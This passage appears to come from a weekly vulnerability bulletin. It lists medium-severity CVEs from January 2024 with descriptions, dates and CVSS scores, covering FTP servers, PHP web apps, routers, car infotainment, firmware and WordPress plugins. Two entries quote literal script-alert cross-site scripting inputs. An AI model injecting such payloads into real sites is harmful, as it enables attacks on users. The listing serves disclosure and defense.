pcman -- ftp_server	A vulnerability was found in PCMan FTP Server 2.0.7. It has been classified as problematic. This affects an unknown part of the component USER Command Handler. The manipulation leads to denial of service. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250719.	2024-01-16	5.3	CVE-2021-4432
pcman -- ftp_server	A vulnerability has been found in PCMan FTP Server 2.0.7 and classified as problematic. This vulnerability affects unknown code of the component PUT Command Handler. The manipulation leads to denial of service. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251554 is the identifier assigned to this vulnerability.	2024-01-19	5.3	CVE-2024-0731
pcman -- ftp_server	A vulnerability was found in PCMan FTP Server 2.0.7 and classified as problematic. This issue affects some unknown processing of the component STOR Command Handler. The manipulation leads to denial of service. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251555.	2024-01-19	5.3	CVE-2024-0732
phpgurukul -- art_gallery_management_system	In PHPGurukul Art Gallery Management System v1.1, "Update Artist Image" functionality of "imageid" parameter is vulnerable to SQL Injection.	2024-01-12	6.5	CVE-2023-51978
phpgurukul -- blood_bank_\&_donor_management_system	A vulnerability, which was classified as problematic, was found in Blood Bank & Donor Management 1.0. This affects an unknown part of the file request-received-bydonar.php. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250581 was assigned to this vulnerability.	2024-01-13	4.8	CVE-2024-0476
phpgurukul -- company_visitor_management_system	A vulnerability was found in PHPGurukul Company Visitor Management System 1.0. It has been rated as problematic. Affected by this issue is some unknown functionality of the file search-visitor.php. The manipulation leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to	2024-01-18	4.8	CVE-2024-0652

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	the public and may be used. VDB-251378 is the identifier assigned to this vulnerability.			
piwigo -- piwigo	Cross Site Scripting vulnerability in piwigo v.14.0.0 allows a remote attacker to obtain sensitive information via the lang parameter in the Admin Tools plug-in component.	2024-01-12	6.1	CVE-2023-51790
plone_cms -- plone_cms	A Cross-Frame Scripting vulnerability has been found on Plone CMS affecting version below 6.0.5. An attacker could store a malicious URL to be opened by an administrator and execute a malicios iframe element.	2024-01-18	6.3	CVE-2024-0669
profilepress_membership_team -- paid_membership_plugin,_ecommerce,_user_registration_form,_login_form,_user_profile_&_restrict_content_profilepress	Deserialization of Untrusted Data vulnerability in ProfilePress Membership Team Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content - ProfilePress.This issue affects Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content - ProfilePress: from n/a through 4.3.2.	2024-01-19	6.6	CVE-2022-45083
project_worlds -- student_project_allocation_system	A vulnerability was found in Project Worlds Student Project Allocation System 1.0. It has been rated as problematic. This issue affects some unknown processing of the file admin_login.php of the component Admin Login Module. The manipulation of the argument msg with the input test%22%3Cscript%3Ealert(%27Torada%27)%3C/script%3E leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251549 was assigned to this vulnerability.	2024-01-19	4.3	CVE-2024-0726
project_worlds -- visitor_management_system	A vulnerability was found in Project Worlds Visitor Management System 1.0. It has been classified as problematic. Affected is an unknown function of the file dataset.php of the component URL Handler. The manipulation of the argument name with the input "><script>alert('torada')</script> leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251376.	2024-01-18	4.3	CVE-2024-0650
project_worlds_online -- time_table_generator	A vulnerability, which was classified as critical, was found in Project Worlds Online Time Table Generator 1.0. This affects an unknown part of the file course_ajax.php. The manipulation of the argument id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251553 was assigned to this vulnerability.	2024-01-19	6.3	CVE-2024-0730
prosshd -- prosshd	A vulnerability was found in ProSSHD 1.2 on Windows. It has been declared as problematic. This vulnerability affects unknown code. The manipulation leads to denial of service. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251548.	2024-01-19	5.3	CVE-2024-0725
qemu -- qemu_built-in_VNC_server	A flaw was found in the QEMU built-in VNC server while processing ClientCutText messages. The qemu_clipboard_request() function can be reached before vnc_server_cut_text_caps() was called and had the chance to initialize the clipboard peer, leading to a NULL pointer dereference. This could allow a malicious authenticated VNC client to crash QEMU and trigger a denial of service.	2024-01-12	6.5	CVE-2023-6683
qstar -- archive_storage_manager	QStar Archive Solutions Release RELEASE_3-0 Build 7 Patch 0 was discovered to contain a DOM Based reflected XSS vulnerability within the component qnme-ajax?method=tree_table.	2024-01-13	6.1	CVE-2023-51064

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
qstar -- archive_storage_manager	An unauthenticated reflected cross-site scripting (XSS) vulnerability in QStar Archive Solutions Release RELEASE_3-0 Build 7 allows attackers to execute arbitrary javascript on a victim's browser via a crafted link.	2024-01-13	6.1	CVE-2023-51067
qstar -- archive_storage_manager	An access control issue in QStar Archive Solutions Release RELEASE_3-0 Build 7 Patch 0 allows unauthenticated attackers to arbitrarily disable the SMB service on a victim's Qstar instance by executing a specific command in a link.	2024-01-13	6.5	CVE-2023-51071
qstar -- archive_storage_manager	An unauthenticated log file read in the component log-smblog-save of QStar Archive Solutions RELEASE_3-0 Build 7 Patch 0 allows attackers to disclose the SMB Log contents via executing a crafted command.	2024-01-13	5.3	CVE-2023-51062
qstar -- archive_storage_manager	An authenticated reflected cross-site scripting (XSS) vulnerability in QStar Archive Solutions Release RELEASE_3-0 Build 7 allows attackers to execute arbitrary javascript on a victim's browser via a crafted link.	2024-01-13	5.4	CVE-2023-51068
red_hat -- red_hat_enterprise_linux_8	An authentication bypass flaw was found in GRUB due to the way that GRUB uses the UUID of a device to search for the configuration file that contains the password hash for the GRUB password protection feature. An attacker capable of attaching an external drive such as a USB stick containing a file system with a duplicate UUID (the same as in the "/boot/" file system) can bypass the GRUB password protection feature on UEFI systems, which enumerate removable drives before non-removable ones. This issue was introduced in a downstream patch in Red Hat's version of grub2 and does not affect the upstream package.	2024-01-15	5.6	CVE-2023-4001
rubygems.org-- rubygems	Rubygems.org is the Ruby community's gem hosting service. Rubygems.org users with MFA enabled would normally be protected from account takeover in the case of email account takeover. However, a workaround on the forgotten password form allows an attacker to bypass the MFA requirement and takeover the account. This vulnerability has been patched in commit 0b3272a.	2024-01-12	4.8	CVE-2024-21654
sandsprite scdbg.exe-- sandsprite scdbg.exe	An Uncontrolled Resource Consumption vulnerability has been found on Sandsprite Scdbg.exe, affecting version 1.0. This vulnerability allows an attacker to send a specially crafted shellcode payload to the '/foff' parameter and cause an application shutdown. A malware program could use this shellcode sequence to shut down the application and evade the scan.	2024-01-16	4	CVE-2024-0581
sedlex -- image_zoom	Missing Authorization vulnerability in SedLex Image Zoom.This issue affects Image Zoom: from n/a through 1.8.8.	2024-01-17	5.4	CVE-2022-41619
sedlex -- traffic_manager	Missing Authorization vulnerability in SedLex Traffic Manager.This issue affects Traffic Manager: from n/a through 1.4.5.	2024-01-17	5.4	CVE-2022-41695
sherlock -- online_fir_system	A vulnerability was found in code-projects Online FIR System 1.0. It has been classified as problematic. This affects an unknown part of the file registercomplaint.php. The manipulation of the argument Name/Address leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250611.	2024-01-13	6.1	CVE-2024-0503
shopware -- shopware	Shopware is an open headless commerce platform. In the Shopware CMS, the state handler for orders fails to sufficiently verify user authorizations for actions that modify the payment, delivery, and/or order status. Due to this inadequate implementation, users lacking 'write' permissions for orders are still able to change the order state. This issue has been addressed and users are advised to update to Shopware 6.5.7.4. For older versions of 6.1, 6.2, 6.3 and 6.4 corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.	2024-01-16	4.9	CVE-2024-22407
skoda -- skoda	The Real-Time Streaming Protocol implementation in the MIB3 infotainment incorrectly handles requests to /logs URI, when the id parameter equals to zero. This issue allows an attacker connected to the in-vehicle Wi-Fi network to cause	2024-01-12	5.3	CVE-2023-28898 cve@asrg.io

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	denial-of-service of the infotainment system, when the certain preconditions are met. Vulnerability discovered on Škoda Superb III (3V3) - 2.0 TDI manufactured in 2022.			
skoda -- skoda_superb _II	The secret value used for access to critical UDS services of the MIB3 infotainment is hardcoded in the firmware. Vulnerability discovered on Škoda Superb III (3V3) - 2.0 TDI manufactured in 2022.	2024-01-12	4	CVE-2023-28897 cve@asrg.io
skoda_auto -- s¡koda_connect	The Skoda Automotive cloud contains a Broken Access Control vulnerability, allowing to obtain nicknames and other user identifiers of Skoda Connect service users by specifying an arbitrary vehicle VIN number.	2024-01-18	5.3	CVE-2023-28900 cve@asrg.io
skoda_auto -- skoda_connect	The Skoda Automotive cloud contains a Broken Access Control vulnerability, allowing remote attackers to obtain recent trip data, vehicle mileage, fuel consumption, average and maximum speed, and other information of Skoda Connect service users by specifying an arbitrary vehicle VIN number.	2024-01-18	5.3	CVE-2023-28901 cve@asrg.io
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Traceroute parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	2024-01-17	5.4	CVE-2023-51719
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Time Server 1 parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	2024-01-17	5.4	CVE-2023-51720
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Time Server 2 parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	2024-01-17	5.4	CVE-2023-51721
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Time Server 3 parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	2024-01-17	5.4	CVE-2023-51722
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Description parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	2024-01-17	5.4	CVE-2023-51723
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the URL parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	2024-01-17	5.4	CVE-2023-51724
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Contact Email Address parameter at its web interface. A remote attacker could exploit this vulnerability by	2024-01-17	5.4	CVE-2023-51725

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.			
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the SMTP Server Name parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	2024-01-17	5.4	CVE-2023-51726
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the SMTP Username parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	2024-01-17	5.4	CVE-2023-51727
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the SMTP Password parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	2024-01-17	5.4	CVE-2023-51728
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the DDNS Username parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	2024-01-17	5.4	CVE-2023-51729
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the DDNS Password parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	2024-01-17	5.4	CVE-2023-51730
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Hostname parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	2024-01-17	5.4	CVE-2023-51731
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the IPsec Tunnel Name parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	2024-01-17	5.4	CVE-2023-51732
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Identity parameter under Local endpoint settings at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	2024-01-17	5.4	CVE-2023-51733

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Identity parameter under Remote endpoint settings at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	2024-01-17	5.4	CVE-2023-51734
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Pre-shared key parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	2024-01-17	5.4	CVE-2023-51735
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the L2TP/PPTP Username parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	2024-01-17	5.4	CVE-2023-51736
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Preshared Phrase parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	2024-01-17	5.4	CVE-2023-51737
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Network Name (SSID) parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	2024-01-17	5.4	CVE-2023-51738
skyworthdigital -- cm5100_firmware	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Device Name parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	2024-01-17	5.4	CVE-2023-51739
smsot -- smsot	A vulnerability was found in Smsot up to 2.12. It has been classified as critical. Affected is an unknown function of the file /api.php of the component HTTP POST Request Handler. The manipulation of the argument data[sign] leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251556.	2024-01-19	6.3	CVE-2024-0733
smsot -- smsot	A vulnerability was found in Smsot up to 2.12. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /get.php. The manipulation of the argument tid leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251557 was assigned to this vulnerability.	2024-01-19	6.3	CVE-2024-0734
sourcecodester -- online_tours_&_travels_management_system	A vulnerability was found in SourceCodester Online Tours & Travels Management System 1.0. It has been rated as critical. Affected by this issue is the function exec of the file admin/operations/expense.php. The manipulation leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-251558 is the identifier assigned to this vulnerability.	2024-01-19	6.3	CVE-2024-0735

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
sparksuite -- simplemde	A vulnerability, which was classified as problematic, was found in Sparksuite SimpleMDE up to 1.11.2. This affects an unknown part of the component iFrame Handler. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251373 was assigned to this vulnerability.	2024-01-17	4.3	CVE-2024-0647
sqlite -- sqlite	A heap use-after-free issue has been identified in SQLite in the jsonParseAddNodeArray() function in sqlite3.c. This flaw allows a local attacker to leverage a victim to pass specially crafted malicious input to the application, potentially causing a crash and leading to a denial of service.	2024-01-16	4.7	CVE-2024-0232
swagger_UI -- fastify-swagger-ui	fastify-swagger-ui is a Fastify plugin for serving Swagger UI. Prior to 2.1.0, the default configuration of `@fastify/swagger-ui` without `baseDir` set will lead to all files in the module's directory being exposed via http routes served by the module. The vulnerability is fixed in v2.1.0. Setting the `baseDir` option can also work around this vulnerability.	2024-01-15	5.3	CVE-2024-22207
taokeyun -- taokeyun	A vulnerability classified as critical has been found in Taokeyun up to 1.0.5. This affects the function index of the file application/index/controller/app/Video.php of the component HTTP POST Request Handler. The manipulation of the argument cid leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250587.	2024-01-13	6.3	CVE-2024-0482
taokeyun -- taokeyun	A vulnerability classified as critical was found in Taokeyun up to 1.0.5. This vulnerability affects the function index of the file application/index/controller/app/Task.php of the component HTTP POST Request Handler. The manipulation of the argument cid leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-250588.	2024-01-13	6.3	CVE-2024-0483
themegrill -- colormag	The ColorMag theme for WordPress is vulnerable to unauthorized access due to a missing capability check on the plugin_action_callback() function in all versions up to, and including, 3.1.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to install and activate arbitrary plugins.	2024-01-20	6.5	CVE-2024-0679
themeinprogress -- wip_custom_login	Missing Authorization vulnerability in ThemeinProgress WIP Custom Login.This issue affects WIP Custom Login: from n/a through 1.2.7.	2024-01-17	5.4	CVE-2022-42884
themeum -- wp_crowdfunding	The WP Crowdfunding WordPress plugin before 2.1.10 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)	2024-01-15	4.8	CVE-2023-6163
tianocore -- edk2	EDK2's Network Package is susceptible to an out-of-bounds read vulnerability when processing the IA_NA or IA_TA option in a DHCPv6 Advertise message. This vulnerability can be exploited by an attacker to gain unauthorized access and potentially lead to a loss of Confidentiality.	2024-01-16	6.5	CVE-2023-45229
tianocore -- edk2	EDK2's Network Package is susceptible to an out-of-bounds read vulnerability when processing Neighbor Discovery Redirect message. This vulnerability can be exploited by an attacker to gain unauthorized access and potentially lead to a loss of Confidentiality.	2024-01-16	6.5	CVE-2023-45231
tianocore -- edk2	EDK2's Network Package is susceptible to a predictable TCP Initial Sequence Number. This vulnerability can be exploited by an attacker to gain unauthorized access and potentially lead to a loss of Confidentiality.	2024-01-16	5.8	CVE-2023-45236
tianocore -- edk2	EDK2's Network Package is susceptible to a predictable TCP Initial Sequence Number. This vulnerability can be exploited by an attacker to gain unauthorized access and potentially lead to a loss of Confidentiality.	2024-01-16	5.3	CVE-2023-45237

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
totolink -- t8	A vulnerability classified as problematic has been found in Totolink T8 4.1.5cu.833_20220905. This affects the function getSysStatusCfg of the file /cgi-bin/cstecgi.cgi of the component Setting Handler. The manipulation of the argument ssid/key leads to information disclosure. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 4.1.5cu.862_B20230228 is able to address this issue. It is recommended to upgrade the affected component. The identifier VDB-250785 was assigned to this vulnerability.	2024-01-16	4.3	CVE-2024-0569
tribe29 -- checkmk	Insufficient authentication flow in Checkmk before 2.2.0p18, 2.1.0p38 and 2.0.0p39 allows attacker to use locked credentials	2024-01-12	6.5	CVE-2023-31211
ujcms -- ujcms	File Upload vulnerability in Ujcms v.8.0.2 allows a local attacker to execute arbitrary code via a crafted file.	2024-01-12	5.4	CVE-2023-51806
ursa -- CL-signatures	Ursa is a cryptographic library for use with blockchains. The revocation scheme that is part of the Ursa CL-Signatures implementations has a flaw that could impact the privacy guarantees defined by the AnonCreds verifiable credential model. Notably, a malicious verifier may be able to generate a unique identifier for a holder providing a verifiable presentation that includes a Non-Revocation proof. The impact of the flaw is that a malicious verifier may be able to determine a unique identifier for a holder presenting a Non-Revocation proof. Ursa has moved to end-of-life status and no fix is expected.	2024-01-16	6.5	CVE-2024-22192
vagary_digital -- hreflang_tags_lite	Missing Authorization vulnerability in Vagary Digital HREFLANG Tags Lite.This issue affects HREFLANG Tags Lite: from n/a through 2.0.0.	2024-01-17	6.5	CVE-2022-36418
vektor-inc -- vk_block_patterns	The VK Block Patterns plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.31.1.1. This is due to missing or incorrect nonce validation on the vbp_clear_patterns_cache() function. This makes it possible for unauthenticated attackers to clear the patterns cache via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.	2024-01-20	4.3	CVE-2024-0623
webkul -- bagisto	Cross Site Scripting vulnerability in webkil Bagisto v.1.5.0 and before allows an attacker to execute arbitrary code via a crafted SVG file uplad.	2024-01-16	4.8	CVE-2023-36236
woocommerce -- woocommerce	The WooCommerce WordPress plugin before 6.2.1 does not have proper authorisation check when deleting reviews, which could allow any authenticated users, such as subscriber to delete arbitrary comment	2024-01-16	4.3	CVE-2022-0775
wp_job_portal -- wp_job_portal_a_complete_job_board	Missing Authorization vulnerability in WP Job Portal WP Job Portal - A Complete Job Board.This issue affects WP Job Portal - A Complete Job Board: from n/a through 2.0.1.	2024-01-17	5.4	CVE-2022-41786
wpfastestcache -- wp_fastest_cache	The WP Fastest Cache WordPress plugin before 0.9.5 is lacking a CSRF check in its wpfc_save_cdn_integration AJAX action, and does not sanitise and escape some the options available via the action, which could allow attackers to make logged in high privilege users call it and set a Cross-Site Scripting payload	2024-01-16	6.1	CVE-2021-24870
wpmet -- wp_social_login_and_register_social_counter	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wpmet Wp Social Login and Register Social Counter.This issue affects Wp Social Login and Register Social Counter: from n/a through 1.9.0.	2024-01-19	6.5	CVE-2022-47160
x.org -- x.org	A flaw was found in the X.Org server. The GLX PBuffer code does not call the XACE hook when creating the buffer, leaving it unlabeled. When the client issues another request to access that resource (as with a GetGeometry) or when it creates another resource that needs to access that buffer, such as a GC, the XSELINUX code will try to use an object that was never labeled and crash because the SID is NULL.	2024-01-18	5.5	CVE-2024-0408

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
xlightftpd -- xlight_ftp_server	A vulnerability classified as problematic was found in Xlightftpd Xlight FTP Server 1.1. This vulnerability affects unknown code of the component Login. The manipulation of the argument user leads to denial of service. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251560.	2024-01-19	5.3	CVE-2024-0737
yikesinc -- easy_forms_for_mailchimp	The Easy Forms for Mailchimp WordPress plugin through 6.8.10 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Cross-Site Scripting attacks even when unfiltered_html is disallowed	2024-01-15	4.8	CVE-2023-4925
zhihuiyun -- download_network_image	A vulnerability was found in ZhiHuiYun up to 4.4.13 and classified as critical. This issue affects the function download_network_image of the file /app/Http/Controllers/ImageController.php of the component Search. The manipulation of the argument url leads to server-side request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251375.	2024-01-17	6.3	CVE-2024-0649
zhongfucheng3y -- austin	A vulnerability was found in ZhongFuCheng3y Austin 1.0. It has been rated as critical. Affected by this issue is the function getRemoteUrl2File of the file src\main\java\com\java3y\austin\support\utils\AustinFileUtils.java of the component Email Message Template Handler. The manipulation leads to server-side request forgery. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-250838 is the identifier assigned to this vulnerability.	2024-01-16	6.3	CVE-2024-0601
zhongfucheng3y_austin -- zhongfucheng3y_austin	A vulnerability was found in ZhongFuCheng3y Austin 1.0 and classified as critical. This issue affects the function getFile of the file com/java3y/austin/web/controller/MaterialController.java of the component Upload Material Menu. The manipulation leads to unrestricted upload. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250619.	2024-01-13	5.5	CVE-2024-0505
zorem -- advanced_local_pickup_for_woocommerce	Missing Authorization vulnerability in Zorem Advanced Local Pickup for WooCommerce.This issue affects Advanced Local Pickup for WooCommerce: from n/a through 1.5.2.	2024-01-17	5.4	CVE-2022-40702
zorem -- sales_report_email_for_woocommerce	Missing Authorization vulnerability in Zorem Sales Report Email for WooCommerce. This issue affects Sales Report Email for WooCommerce: from n/a through 2.8.	2024-01-17	4.3	CVE-2022-38141
react-native-mmkv-- react-native-mmkv	react-native-mmkv is a library that allows easy use of MMKV inside React Native applications. Before version 2.11.0, the react-native-mmkv logged the optional encryption key for the MMKV database into the Android system log. The key can be obtained by anyone with access to the Android Debugging Bridge (ADB) if it is enabled in the phone settings. This bug is not present on iOS devices. By logging the encryption secret to the system logs, attackers can trivially recover the secret by enabling ADB and undermining an app's thread model. This issue has been patched in version 2.11.0.	2024-01-09	4.4	CVE-2024-21668
acritum -- femitter_server	A vulnerability, which was classified as problematic, was found in Acritum Femitter Server 1.04. Affected is an unknown function. The manipulation leads to path traversal. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-250446 is the identifier assigned to this vulnerability.	2024-01-12	4.3	CVE-2010-10011
adobe -- substance3d_stager	Adobe Substance 3D Stager versions 2.1.3 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR.	2024-01-10	5.5	CVE-2024-20714 psirt@adobe.com

Medium Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	Exploitation of this issue requires user interaction in that a victim must open a malicious file.			
adobe -- substance3d_stager	Adobe Substance 3D Stager versions 2.1.3 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	2024-01-10	5.5	CVE-2024-20715 psirt@adobe.com
adobe -- substance_3d_stager	Adobe Substance 3D Stager versions 2.1.3 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	2024-01-10	5.5	CVE-2024-20710 psirt@adobe.com
adobe -- substance_3d_stager	Adobe Substance 3D Stager versions 2.1.3 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	2024-01-10	5.5	CVE-2024-20711 psirt@adobe.com
